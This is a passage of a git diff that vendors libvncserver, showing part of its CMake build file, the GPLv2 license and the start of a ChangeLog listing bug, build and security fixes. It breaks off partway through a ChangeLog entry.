${SIMPLETESTS}) + add_executable(test_${t} ${TESTS_DIR}/${t}.c) + set_target_properties(test_${t} PROPERTIES OUTPUT_NAME ${t}) + set_target_properties(test_${t} PROPERTIES RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/test) + target_link_libraries(test_${t} vncserver vncclient ${ADDITIONAL_TEST_LIBS}) +endforeach(t ${SIMPLETESTS}) + +if(WITH_JPEG AND FOUND_LIBJPEG_TURBO) + add_executable(test_tjunittest + ${TESTS_DIR}/tjunittest.c + ${TESTS_DIR}/tjutil.c + ${TESTS_DIR}/tjutil.h + ${COMMON_DIR}/turbojpeg.c + ${COMMON_DIR}/turbojpeg.h + ) + set_target_properties(test_tjunittest PROPERTIES OUTPUT_NAME tjunittest) + set_target_properties(test_tjunittest PROPERTIES RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/test) + target_link_libraries(test_tjunittest vncserver vncclient ${ADDITIONAL_TEST_LIBS}) + + add_executable(test_tjbench + ${TESTS_DIR}/tjbench.c + ${TESTS_DIR}/tjutil.c + ${TESTS_DIR}/tjutil.h + ${TESTS_DIR}/bmp.c + ${TESTS_DIR}/bmp.h + ${COMMON_DIR}/turbojpeg.c + ${COMMON_DIR}/turbojpeg.h + ) + set_target_properties(test_tjbench PROPERTIES OUTPUT_NAME tjbench) + set_target_properties(test_tjbench PROPERTIES RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/test) + target_link_libraries(test_tjbench vncserver vncclient ${ADDITIONAL_TEST_LIBS}) + +endif(WITH_JPEG AND FOUND_LIBJPEG_TURBO) + +if(LIBVNCSERVER_WITH_WEBSOCKETS) + add_executable(test_wstest + ${TESTS_DIR}/wstest.c + ${TESTS_DIR}/wstestdata.inc + ) + set_target_properties(test_wstest PROPERTIES OUTPUT_NAME wstest) + set_target_properties(test_wstest PROPERTIES RUNTIME_OUTPUT_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}/test) + target_link_libraries(test_wstest vncserver vncclient ${ADDITIONAL_TEST_LIBS}) +endif(LIBVNCSERVER_WITH_WEBSOCKETS) + +add_test(NAME cargs COMMAND test_cargstest) +if(FOUND_LIBJPEG_TURBO) + add_test(NAME turbojpeg COMMAND test_tjunittest) +endif(FOUND_LIBJPEG_TURBO) +if(LIBVNCSERVER_WITH_WEBSOCKETS) + add_test(NAME wstest COMMAND test_wstest) +endif(LIBVNCSERVER_WITH_WEBSOCKETS) + +# +# this gets the libraries needed by TARGET in "-libx -liby ..." form +# +function(get_link_libraries OUT TARGET) + set(RESULT "") + get_target_property(LIBRARIES ${TARGET} INTERFACE_LINK_LIBRARIES) + foreach(LIB ${LIBRARIES}) + if("${LIB}" MATCHES ".*NOTFOUND.*") + continue() + endif() + string(REGEX REPLACE "^.*/lib" "" LIB ${LIB}) # remove leading path and "lib" name prefix + string(REGEX REPLACE "-l" "" LIB ${LIB}) # remove leading -l + string(REGEX REPLACE "\\.so$" "" LIB ${LIB}) # remove trailing .so + list(APPEND RESULT "-l${LIB}") + endforeach() + list(REMOVE_DUPLICATES RESULT) + string(CONCAT RESULT ${RESULT}) # back to string + if(RESULT) + string(REPLACE "-l" " -l" RESULT ${RESULT}) # re-add separators + endif(RESULT) + set(${OUT} ${RESULT} PARENT_SCOPE) +endfunction() + +get_link_libraries(PRIVATE_LIBS vncserver) +configure_file(${CMAKE_CURRENT_SOURCE_DIR}/libvncserver.pc.cmakein ${CMAKE_CURRENT_BINARY_DIR}/libvncserver.pc @ONLY) +get_link_libraries(PRIVATE_LIBS vncclient) +configure_file(${CMAKE_CURRENT_SOURCE_DIR}/libvncclient.pc.cmakein ${CMAKE_CURRENT_BINARY_DIR}/libvncclient.pc @ONLY) + + +install_targets(/lib vncserver) +install_targets(/lib vncclient) +install_files(/include/rfb FILES + rfb/keysym.h + rfb/rfb.h + rfb/rfbclient.h + rfb/rfbconfig.h + rfb/rfbproto.h + rfb/rfbregion.h +) + +install_files(/lib/pkgconfig FILES + libvncserver.pc + libvncclient.pc +) diff --git a/3rdparty/libvncserver/COPYING b/3rdparty/libvncserver/COPYING new file mode 100644 index 0000000..a3f6b12 --- /dev/null +++ b/3rdparty/libvncserver/COPYING @@ -0,0 +1,340 @@ + GNU GENERAL PUBLIC LICENSE + Version 2, June 1991 + + Copyright (C) 1989, 1991 Free Software Foundation, Inc. + 59 Temple Place - Suite 330, Boston, MA + 02111-1307, USA. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The licenses for most software are designed to take away your +freedom to share and change it. By contrast, the GNU General Public +License is intended to guarantee your freedom to share and change free +software--to make sure the software is free for all its users. This +General Public License applies to most of the Free Software +Foundation's software and to any other program whose authors commit to +using it. (Some other Free Software Foundation software is covered by +the GNU Library General Public License instead.) You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +this service if you wish), that you receive source code or can get it +if you want it, that you can change the software or use pieces of it +in new free programs; and that you know you can do these things. + + To protect your rights, we need to make restrictions that forbid +anyone to deny you these rights or to ask you to surrender the rights. +These restrictions translate to certain responsibilities for you if you +distribute copies of the software, or if you modify it. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must give the recipients all the rights that +you have. You must make sure that they, too, receive or can get the +source code. And you must show them these terms so they know their +rights. + + We protect your rights with two steps: (1) copyright the software, and +(2) offer you this license which gives you legal permission to copy, +distribute and/or modify the software. + + Also, for each author's protection and ours, we want to make certain +that everyone understands that there is no warranty for this free +software. If the software is modified by someone else and passed on, we +want its recipients to know that what they have is not the original, so +that any problems introduced by others will not reflect on the original +authors' reputations. + + Finally, any free program is threatened constantly by software +patents. We wish to avoid the danger that redistributors of a free +program will individually obtain patent licenses, in effect making the +program proprietary. To prevent this, we have made it clear that any +patent must be licensed for everyone's free use or not licensed at all. + + The precise terms and conditions for copying, distribution and +modification follow. + + GNU GENERAL PUBLIC LICENSE + TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION + + 0. This License applies to any program or other work which contains +a notice placed by the copyright holder saying it may be distributed +under the terms of this General Public License. The "Program", below, +refers to any such program or work, and a "work based on the Program" +means either the Program or any derivative work under copyright law: +that is to say, a work containing the Program or a portion of it, +either verbatim or with modifications and/or translated into another +language. (Hereinafter, translation is included without limitation in +the term "modification".) Each licensee is addressed as "you". + +Activities other than copying, distribution and modification are not +covered by this License; they are outside its scope. The act of +running the Program is not restricted, and the output from the Program +is covered only if its contents constitute a work based on the +Program (independent of having been made by running the Program). +Whether that is true depends on what the Program does. + + 1. You may copy and distribute verbatim copies of the Program's +source code as you receive it, in any medium, provided that you +conspicuously and appropriately publish on each copy an appropriate +copyright notice and disclaimer of warranty; keep intact all the +notices that refer to this License and to the absence of any warranty; +and give any other recipients of the Program a copy of this License +along with the Program. + +You may charge a fee for the physical act of transferring a copy, and +you may at your option offer warranty protection in exchange for a fee. + + 2. You may modify your copy or copies of the Program or any portion +of it, thus forming a work based on the Program, and copy and +distribute such modifications or work under the terms of Section 1 +above, provided that you also meet all of these conditions: + + a) You must cause the modified files to carry prominent notices + stating that you changed the files and the date of any change. + + b) You must cause any work that you distribute or publish, that in + whole or in part contains or is derived from the Program or any + part thereof, to be licensed as a whole at no charge to all third + parties under the terms of this License. + + c) If the modified program normally reads commands interactively + when run, you must cause it, when started running for such + interactive use in the most ordinary way, to print or display an + announcement including an appropriate copyright notice and a + notice that there is no warranty (or else, saying that you provide + a warranty) and that users may redistribute the program under + these conditions, and telling the user how to view a copy of this + License. (Exception: if the Program itself is interactive but + does not normally print such an announcement, your work based on + the Program is not required to print an announcement.) + +These requirements apply to the modified work as a whole. If +identifiable sections of that work are not derived from the Program, +and can be reasonably considered independent and separate works in +themselves, then this License, and its terms, do not apply to those +sections when you distribute them as separate works. But when you +distribute the same sections as part of a whole which is a work based +on the Program, the distribution of the whole must be on the terms of +this License, whose permissions for other licensees extend to the +entire whole, and thus to each and every part regardless of who wrote it. + +Thus, it is not the intent of this section to claim rights or contest +your rights to work written entirely by you; rather, the intent is to +exercise the right to control the distribution of derivative or +collective works based on the Program. + +In addition, mere aggregation of another work not based on the Program +with the Program (or with a work based on the Program) on a volume of +a storage or distribution medium does not bring the other work under +the scope of this License. + + 3. You may copy and distribute the Program (or a work based on it, +under Section 2) in object code or executable form under the terms of +Sections 1 and 2 above provided that you also do one of the following: + + a) Accompany it with the complete corresponding machine-readable + source code, which must be distributed under the terms of Sections + 1 and 2 above on a medium customarily used for software interchange; or, + + b) Accompany it with a written offer, valid for at least three + years, to give any third party, for a charge no more than your + cost of physically performing source distribution, a complete + machine-readable copy of the corresponding source code, to be + distributed under the terms of Sections 1 and 2 above on a medium + customarily used for software interchange; or, + + c) Accompany it with the information you received as to the offer + to distribute corresponding source code. (This alternative is + allowed only for noncommercial distribution and only if you + received the program in object code or executable form with such + an offer, in accord with Subsection b above.) + +The source code for a work means the preferred form of the work for +making modifications to it. For an executable work, complete source +code means all the source code for all modules it contains, plus any +associated interface definition files, plus the scripts used to +control compilation and installation of the executable. However, as a +special exception, the source code distributed need not include +anything that is normally distributed (in either source or binary +form) with the major components (compiler, kernel, and so on) of the +operating system on which the executable runs, unless that component +itself accompanies the executable. + +If distribution of executable or object code is made by offering +access to copy from a designated place, then offering equivalent +access to copy the source code from the same place counts as +distribution of the source code, even though third parties are not +compelled to copy the source along with the object code. + + 4. You may not copy, modify, sublicense, or distribute the Program +except as expressly provided under this License. Any attempt +otherwise to copy, modify, sublicense or distribute the Program is +void, and will automatically terminate your rights under this License. +However, parties who have received copies, or rights, from you under +this License will not have their licenses terminated so long as such +parties remain in full compliance. + + 5. You are not required to accept this License, since you have not +signed it. However, nothing else grants you permission to modify or +distribute the Program or its derivative works. These actions are +prohibited by law if you do not accept this License. Therefore, by +modifying or distributing the Program (or any work based on the +Program), you indicate your acceptance of this License to do so, and +all its terms and conditions for copying, distributing or modifying +the Program or works based on it. + + 6. Each time you redistribute the Program (or any work based on the +Program), the recipient automatically receives a license from the +original licensor to copy, distribute or modify the Program subject to +these terms and conditions. You may not impose any further +restrictions on the recipients' exercise of the rights granted herein. +You are not responsible for enforcing compliance by third parties to +this License. + + 7. If, as a consequence of a court judgment or allegation of patent +infringement or for any other reason (not limited to patent issues), +conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot +distribute so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you +may not distribute the Program at all. For example, if a patent +license would not permit royalty-free redistribution of the Program by +all those who receive copies directly or indirectly through you, then +the only way you could satisfy both it and this License would be to +refrain entirely from distribution of the Program. + +If any portion of this section is held invalid or unenforceable under +any particular circumstance, the balance of the section is intended to +apply and the section as a whole is intended to apply in other +circumstances. + +It is not the purpose of this section to induce you to infringe any +patents or other property right claims or to contest validity of any +such claims; this section has the sole purpose of protecting the +integrity of the free software distribution system, which is +implemented by public license practices. Many people have made +generous contributions to the wide range of software distributed +through that system in reliance on consistent application of that +system; it is up to the author/donor to decide if he or she is willing +to distribute software through any other system and a licensee cannot +impose that choice. + +This section is intended to make thoroughly clear what is believed to +be a consequence of the rest of this License. + + 8. If the distribution and/or use of the Program is restricted in +certain countries either by patents or by copyrighted interfaces, the +original copyright holder who places the Program under this License +may add an explicit geographical distribution limitation excluding +those countries, so that distribution is permitted only in or among +countries not thus excluded. In such case, this License incorporates +the limitation as if written in the body of this License. + + 9. The Free Software Foundation may publish revised and/or new versions +of the General Public License from time to time. Such new versions will +be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + +Each version is given a distinguishing version number. If the Program +specifies a version number of this License which applies to it and "any +later version", you have the option of following the terms and conditions +either of that version or of any later version published by the Free +Software Foundation. If the Program does not specify a version number of +this License, you may choose any version ever published by the Free Software +Foundation. + + 10. If you wish to incorporate parts of the Program into other free +programs whose distribution conditions are different, write to the author +to ask for permission. For software which is copyrighted by the Free +Software Foundation, write to the Free Software Foundation; we sometimes +make exceptions for this. Our decision will be guided by the two goals +of preserving the free status of all derivatives of our free software and +of promoting the sharing and reuse of software generally. + + NO WARRANTY + + 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY +FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN +OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES +PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED +OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS +TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE +PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, +REPAIR OR CORRECTION. + + 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR +REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, +INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING +OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED +TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY +YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER +PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE +POSSIBILITY OF SUCH DAMAGES. + + END OF TERMS AND CONDITIONS + + Appendix: How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +convey the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) 19yy + + This program is free software; you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation; either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program; if not, write to the Free Software + Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + +Also add information on how to contact you by electronic and paper mail. + +If the program is interactive, make it output a short notice like this +when it starts in an interactive mode: + + Gnomovision version 69, Copyright (C) 19yy name of author + Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. + This is free software, and you are welcome to redistribute it + under certain conditions; type `show c' for details. + +The hypothetical commands `show w' and `show c' should show the appropriate +parts of the General Public License. Of course, the commands you use may +be called something other than `show w' and `show c'; they could even be +mouse-clicks or menu items--whatever suits your program. + +You should also get your employer (if you work as a programmer) or your +school, if any, to sign a "copyright disclaimer" for the program, if +necessary. Here is a sample; alter the names: + + Yoyodyne, Inc., hereby disclaims all copyright interest in the program + `Gnomovision' (which makes passes at compilers) written by James Hacker. + + , 1 April 1989 + Ty Coon, President of Vice + +This General Public License does not permit incorporating your program into +proprietary programs. If your program is a subroutine library, you may +consider it more useful to permit linking proprietary applications with the +library. If this is what you want to do, use the GNU Library General +Public License instead of this License. diff --git a/3rdparty/libvncserver/ChangeLog b/3rdparty/libvncserver/ChangeLog new file mode 100644 index 0000000..f701eb0 --- /dev/null +++ b/3rdparty/libvncserver/ChangeLog @@ -0,0 +1,9044 @@ +2016-12-29 Christian Beier + + * README: Fix README markdown. + +2016-12-28 Christian Beier + + * CMakeLists.txt: CMake: version up as well. + +2016-12-28 Christian Beier + + * NEWS: Update NEWS. + +2016-12-28 Christian Beier + + * configure.ac: Version up. + +2016-12-28 Christian Beier + + * libvncserver/main.c: LibVNCServer: fix starting of an + onHold-client in threaded mode. Discovered by madscientist159 on 11 Jan 2015: "noted in testing with the threaded server build, whereby if + newClientHook() returned RFB_CLIENT_ON_HOLD there was no way to + release the hold when the server became ready" + +2016-12-09 Christian Beier + + * : Merge pull request #145 from bkylerussell/websockets Sec-WebSocket-Protocol header fix + +2016-12-02 Christian Beier + + * : Merge pull request #142 from samhed/master Write the correct length for end of header + +2016-11-29 Christian Beier + + * : Merge pull request #140 from vapier/master test/Makefile: use check_PROGRAMS + +2015-01-10 Timothy Pearson + + * README: Update README to reflect change from defaultPtrAddEvent to + rfbDefaultPtrAddEvent + +2016-11-25 Christian Beier + + * libvncserver/httpd.c: httpd: rework mime type handling to + recognise more types + +2016-11-24 Christian Beier + + * .travis.yml: TravisCI: Another stab at fixing OSX build. See https://github.com/Tarsnap/spiped/pull/92 + +2016-11-24 Christian Beier + + * configure.ac: Revert "Hopefully fix building on OSX." This reverts commit 584b23fdbe12edd81119d57ddd378d10e52cc9e1. + +2016-11-24 Christian Beier + + * configure.ac: Hopefully fix building on OSX. + +2016-11-24 Christian Beier + + * .travis.yml: TravisCI: check on OSX as well, test both gcc and + clang. + +2016-11-24 Christian Beier + + * libvncclient/rfbproto.c: Fix building on OSX. + +2016-11-24 Christian Beier + + * : Merge pull request #137 from atalax/master Fix two heap buffer overflows + +2016-11-18 Christian Beier + + * : Merge pull request #138 from stweil/master Fix some typos + +2016-11-18 Stefan Weil + + * README, common/zywrletemplate.c, examples/example.c, + examples/zippy.c: Fix some typos (it's / its) Signed-off-by: Stefan Weil + +2016-11-14 Josef Gajdusek + + * libvncclient/ultra.c: Fix heap overflow in the ultra.c decoder The Ultra type tile decoder does not use the _safe variant of the + LZO decompress function, which allows a maliciuous server to + overwrite parts of the heap by sending a larger-than-specified LZO + data stream. + +2016-11-14 Josef Gajdusek + + * libvncclient/rfbproto.c: Fix heap overflows in the various + rectangle fill functions Altough rfbproto.c does check whether the overall FramebufferUpdate + rectangle is too large, some of the individual encoding decoders do + not, which allows a malicious server to overwrite parts of the heap. + +2016-09-24 Christian Beier + + * : Merge pull request #129 from bkylerussell/systemd Support systemd socket activation + +2016-08-14 Zac Medico + + * libvncserver/sockets.c: Support autoPort with ipv4 or ipv6 + disabled Make it possible to get autoPort behavior with either ipv4 or ipv6 + disabled, by setting rfbScreen->ipv6port or rfbScreen->port to a + negative number. This will make it possible for x11vnc to enforce + its -noipv6 option, as discussed in the following bug report: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=672449 + +2016-06-05 Christian Beier + + * NEWS: Update NEWS. + +2016-06-05 Christian Beier + + * rfb/rfbclient.h: Fix rfbClientSwap64IfLE broken in + fe7df89fb1777b4fd303d5a601541f6062caf8ea + +2016-06-05 Christian Beier + + * : Merge pull request #84 from plettix/master fix for issue 81 + +2016-05-30 Christian Beier + + * CMakeLists.txt: CMake: Add maybe-found OpenSSL libs to + libvncclient. + +2016-05-30 Christian Beier + + * CMakeLists.txt: CMake: Not all platforms have endian.h, so use the + build system's endianess check. + +2016-05-30 Christian Beier + + * rfb/rfbproto.h: Only include endian.h if present on system. + +2016-05-30 Christian Beier + + * : Merge pull request #105 from cgeorges82/master fix for issue #97. Also, this fixes cmake builds for other + platforms. + +2016-05-13 George Fleury + + * libvncserver/sockets.c: Avoid calling SSL_pending when connection + is already closed Avoid calling SSL_pending when connection is already closed, calling + SSL_pending with connection already closed is crashing. To + reproduce, open a secure websocket binay protocol connection with + libvncserver compiled with OpenSSL, and when libvncserver is waiting + for rfbProcessClientProtocolVersion send any invalid char, it will + fail and call rfbCloseClient whith destroy all SSL context, calling + SSL_pending after that will generate a invalid access. + +2016-04-24 Christian Beier + + * : Merge pull request #103 from rdieter/master use namespaced vnc_max macro (issue #102) + +2016-04-23 gbdj + + * libvncclient/tls_gnutls.c, libvncclient/vncviewer.c, + rfb/rfbclient.h: libvncclient/tls_gnutls.c: Add hooks to + WriteToTLS() for optional protection by mutex. Fix upstream issue + #100 Squashed commit of the pull request #101 : commit + 1c7e01e81862bc46508e675e83c74cc6d63224b0 commit + 1e749b094d6696380d3f0540a00138d7e3427874 + +2016-02-18 Rex Dieter + + * libvncclient/listen.c, libvncserver/httpd.c, + libvncserver/rfbserver.c, libvncserver/sockets.c, rfb/rfbproto.h: + use namespaced rfbMax macro (issue #102) Not using generic 'max', avoids conflicts with stl_algobase.h + +2016-04-15 Christian Beier + + * : Merge pull request #115 from solofox/master Enable AF_UNIX socket: ignore setsockopt TCP_NODELAY failure. + +2016-04-13 Christian Beier + + * : Merge pull request #114 from zbierak/master Increase MAX_ENCODINGS value to accommodate more client encodings + +2016-04-12 Christian Beier + + * : Merge pull request #110 from AlexejStukov/patch-1 break statement out of case + +2016-04-12 zbierak + + * libvncclient/rfbproto.c: Fix buffer overflow when applying client + encodings + +2016-04-12 Christian Beier + + * travis.yml: TravisCI: remove old config. + +2016-04-12 Christian Beier + + * .travis.yml: TravisCI: add autoreconf step. + +2016-04-12 Christian Beier + + * .travis.yml: TravisCI: the config starts with a dot! + +2016-04-12 Christian Beier + + * README, README.md: Add a README.md and and Travis CI status badge. + +2016-04-12 Christian Beier + + * travis.yml: Add a minimalistic config for Travis CI. + +2016-04-08 Christian Beier + + * : Merge pull request #109 from zbierak/master Fix memory access error in camera.c example + +2016-04-04 zbierak + + * examples/camera.c: Fix memory access error in camera.c example + +2016-03-05 Cédric Georges + + * CMakeLists.txt, libvncclient/tls_gnutls.c: Append missing include + directory for GNUTLS and OPENSSL in CMake project Append support of + gnutls > v 2.99.01 (gnutls_transport_set_global_errno have a + different signature) + +2016-03-05 Cédric Georges + + * CMakeLists.txt: re-up comment + +2016-03-05 Cédric Georges + + * CMakeLists.txt, rfb/rfbconfig.h.cmake: Append IPv6 option in CMake + Project + +2016-01-27 Christian Beier + + * : Merge pull request #99 from spaceone/master Ignore null pointers in FillRectangle() and + CopyRectangleFromRectangle() + +2016-01-27 SpaceOne + + * libvncclient/rfbproto.c: Ignore null pointers in FillRectangle() + and CopyRectangleFromRectangle() + +2015-12-03 Christian Beier + + * rfb/rfbclient.h: Be a bit clearer with the cursorshape + documentation for libvncclient. + +2015-12-03 Christian Beier + + * libvncclient/cursor.c, rfb/rfbclient.h: Properly document + HandleCursorShape and GotCursorShapeProc. + +2015-10-10 Christian Beier + + * : Merge pull request #90 from stweil/fix Fix some recently introduced regressions + +2015-10-10 Stefan Weil + + * rfb/rfbproto.h: Fix definition of POSIX data types Commit 92f558482d94c5152174a1983a40863bd6b07911 added stdint.h to + get the type definitions, but included it after the first use of + int8_t in builds for Windows. Signed-off-by: Stefan Weil + +2015-10-10 Stefan Weil + + * rfb/rfbproto.h: Fix endianness detection Commit 97f442ef2aa65ade6bea11e90054c57b90abbaca tried to improve the + endianness detection, but introduced a typo and problems for Windows + builds (no endian.h, different definition of + LIBVNCSERVER_WORDS_BIGENDIAN). Fix both issues. Signed-off-by: Stefan Weil + +2015-10-09 Stefan Weil + + * ChangeLog, Doxyfile, NEWS, README, client_examples/vnc2mpg.c, + common/zywrletemplate.c, examples/camera.c, libvncclient/listen.c, + libvncclient/sockets.c, libvncserver/cargs.c, libvncserver/scale.c, + libvncserver/sockets.c, libvncserver/tight.c, + libvncserver/tightvnc-filetransfer/filetransfermsg.c, + libvncserver/tightvnc-filetransfer/handlefiletransferrequest.c, + libvncserver/tightvnc-filetransfer/rfbtightproto.h, + libvncserver/tightvnc-filetransfer/rfbtightserver.c, + libvncserver/ultra.c, libvncserver/zlib.c, rfb/keysym.h, rfb/rfb.h, + rfb/rfbproto.h, webclients/java-applet/ssl/README, + webclients/java-applet/ssl/proxy.vnc, + webclients/java-applet/ssl/ss_vncviewer, + webclients/java-applet/ssl/ultravnc-102-JavaViewer-ssl-etc.patch, + webclients/novnc/include/display.js, + webclients/novnc/include/rfb.js, webclients/novnc/include/ui.js: Fix + some typos (found by codespell) Signed-off-by: Stefan Weil + +2015-07-22 plettix + + * common/md5.c: another shift fix + +2015-07-22 plettix + + * rfb/rfb.h, rfb/rfbclient.h: shift fixes - if an integer is a + negative number then the return value of "Swap32IfLE" was -1 + +2015-07-07 plettix + + * libvncserver/websockets.c: fix for issue 81 use different buffers + for decode and encode + +2015-05-28 Christian Beier + + * CMakeLists.txt, configure.ac, rfb/rfbproto.h: Instead of letting + the build system define endianess, rely on endian.h. + +2015-05-28 Christian Beier + + * .gitignore, CMakeLists.txt, Doxyfile, Makefile.am, configure.ac, + libvncserver/Makefile.am, m4/ax_create_stdint_h.m4, rfb/rfbproto.h: + Do away with rfbint.h generation and use stdint.h directly instead. + +2015-04-17 Christian Beier + + * libvncclient/rfbproto.c, libvncclient/vncviewer.c: Re-add the + useful bits of 9aa9ac59b4cb10bfca93456a3098e348de172d7f. + +2015-04-17 Christian Beier + + * libvncclient/Makefile.am: Revert "Add libvncclient/h264.c to dist + tarball." This reverts commit 9aa9ac59b4cb10bfca93456a3098e348de172d7f. + +2015-04-17 Christian Beier + + * client_examples/gtkvncviewer.c, configure.ac, + libvncclient/Makefile.am, libvncclient/h264.c, + libvncclient/rfbproto.c, libvncclient/vncviewer.c, rfb/rfbproto.h: + Revert "LibVNCClient: Add H.264 encoding for framebuffer updates" This reverts commit d891478ec985660c03f95cffda0e6a1ad4ba350c. Conflicts: configure.ac libvncclient/h264.c + +2015-04-17 Christian Beier + + * : Merge pull request #70 from maxnet/master httpd: disallow directory traversal + +2015-04-17 Christian Beier + + * : Merge pull request #72 from lopago/fix-segfaults prevent segfaults due to uninitialized memory + +2015-04-15 Thomas Anderson + + * configure.ac: configure.ac: Use AC_CHECK_TOOL for cross-compiling + support. When cross-compiling the ar program has the appropriate prefix + prepended. Respect that here and have autotools autodetect the + appropriate tool. + +2015-04-13 Benjamin Dürholt + + * libvncserver/rfbssl_gnutls.c, libvncserver/tight.c: Changed C++ + style comments to C ones + +2015-04-10 Benjamin Dürholt + + * libvncserver/rfbssl_gnutls.c, libvncserver/tight.c: prevent + segfault + +2015-03-29 Floris Bos + + * libvncserver/httpd.c: httpd: disallow directory traversal Signed-off-by: Floris Bos + +2015-03-27 Jay Carlson + + * libvncclient/rfbproto.c: Avoid divide-by-zero in raw encoding (OSX + RealVNC) OS X RealVNC server crashes out Remmina because the server can + provoke bytesPerLine to be zero. Assume this is coding for zero + lines. The condition could be checked before the calculation of + bytesPerLine. I don’t understand the preconditions of this code + to say one way or the other. + +2015-02-09 Peter Spiess-Knafl + + * libvncclient/Makefile.am, libvncserver/Makefile.am: Set autotools + SOVERSION. + +2015-02-05 Christian Beier + + * : Merge pull request #63 from LibVNC/sha1rework Replace SHA1 implementation with the one from RFC 6234. + +2015-01-27 Christian Beier + + * : Merge pull request #60 from cinemast/master fixing SOVERSION and .so VERSION + +2015-01-18 Christian Beier + + * webclients/index.vnc: Update link to project home page in + index.vnc. + +2015-01-18 Christian Beier + + * : Merge pull request #57 from maxnet/master Fix handling of multiple VNC commands per websockets frame + +2015-01-16 Christian Beier + + * : Merge pull request #56 from maxnet/master Only advertise xvp support when xvpHook is set + +2015-01-06 Christian Beier + + * AUTHORS: Add Floris to AUTHORS. + +2015-01-06 Christian Beier + + * NEWS: Update NEWS. + +2015-01-02 Christian Beier + + * : Merge pull request #51 from maxnet/master Initialize libgcrypt before use + +2015-01-02 Christian Beier + + * : Merge pull request #50 from maxnet/master tls_openssl.c: define _XOPEN_SOURCE for extra POSIX functionality + +2014-12-30 Christian Beier + + * libvncclient/sockets.c: Fix another MinGW64 build issue. + WSAEWOULDBLOCK is not MinGW-specific. + +2014-12-30 Christian Beier + + * libvncserver/rfbserver.c: Fix building with mingw-w64. + +2014-12-30 Christian Beier + + * configure.ac: confgure.ac: Remove MinGW linker flag that's + incompatible with mingw-w64. + +2014-12-30 Christian Beier + + * autogen.sh: autogen.sh: pass cmdline params to configure call. + +2014-12-29 Christian Beier + + * : Merge pull request #49 from maxnet/master Fix libva related compile errors + +2014-12-29 Floris Bos + + * configure.ac, libvncclient/h264.c: Fix libva related compile + errors - Make h264.c compile with recent libva version by including + va_compat.h - Only enable libva if libva-x11 is installed - Modified configure help text Previous help text suggested libva was only build when + --with-libva was specified, while actual behavior is to build it + by default. Warning: THIS CODE IS UNTESTED. Lacking a h.264 capable VNC server + Also no attempt is made to support platforms not using X11 Signed-off-by: Floris Bos + +2014-10-31 Christian Beier + + * README: Add VNCpp to projects using LibVNC. + +2014-10-21 Christian Beier + + * ChangeLog: Update ChangeLog for 0.9.10. + +2014-10-21 Christian Beier + + * NEWS: Update NEWS. + +2014-10-21 Christian Beier + + * libvncserver/sockets.c: Update comments regarding + rfbClientConnectionGone(). + +2014-10-21 Christian Beier + + * libvncserver/scale.c: Fix Use-After-Free vulnerability in + LibVNCServer wrt scaling. Reported by Ken Johnson . The vulnerability would occur in both the rfbPalmVNCSetScaleFactor + and rfbSetScale cases in the rfbProcessClientNormalMessage function + of rfbserver.c. Sending a valid scaling factor is required + (non-zero) if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not + accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, + sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", + msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, + cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); << This is the call that can trigger + a free. return; at the end, both cases there is a call the rfbSendNewScaleSize + function, where if the connection is subsequently disconnected after + sending the 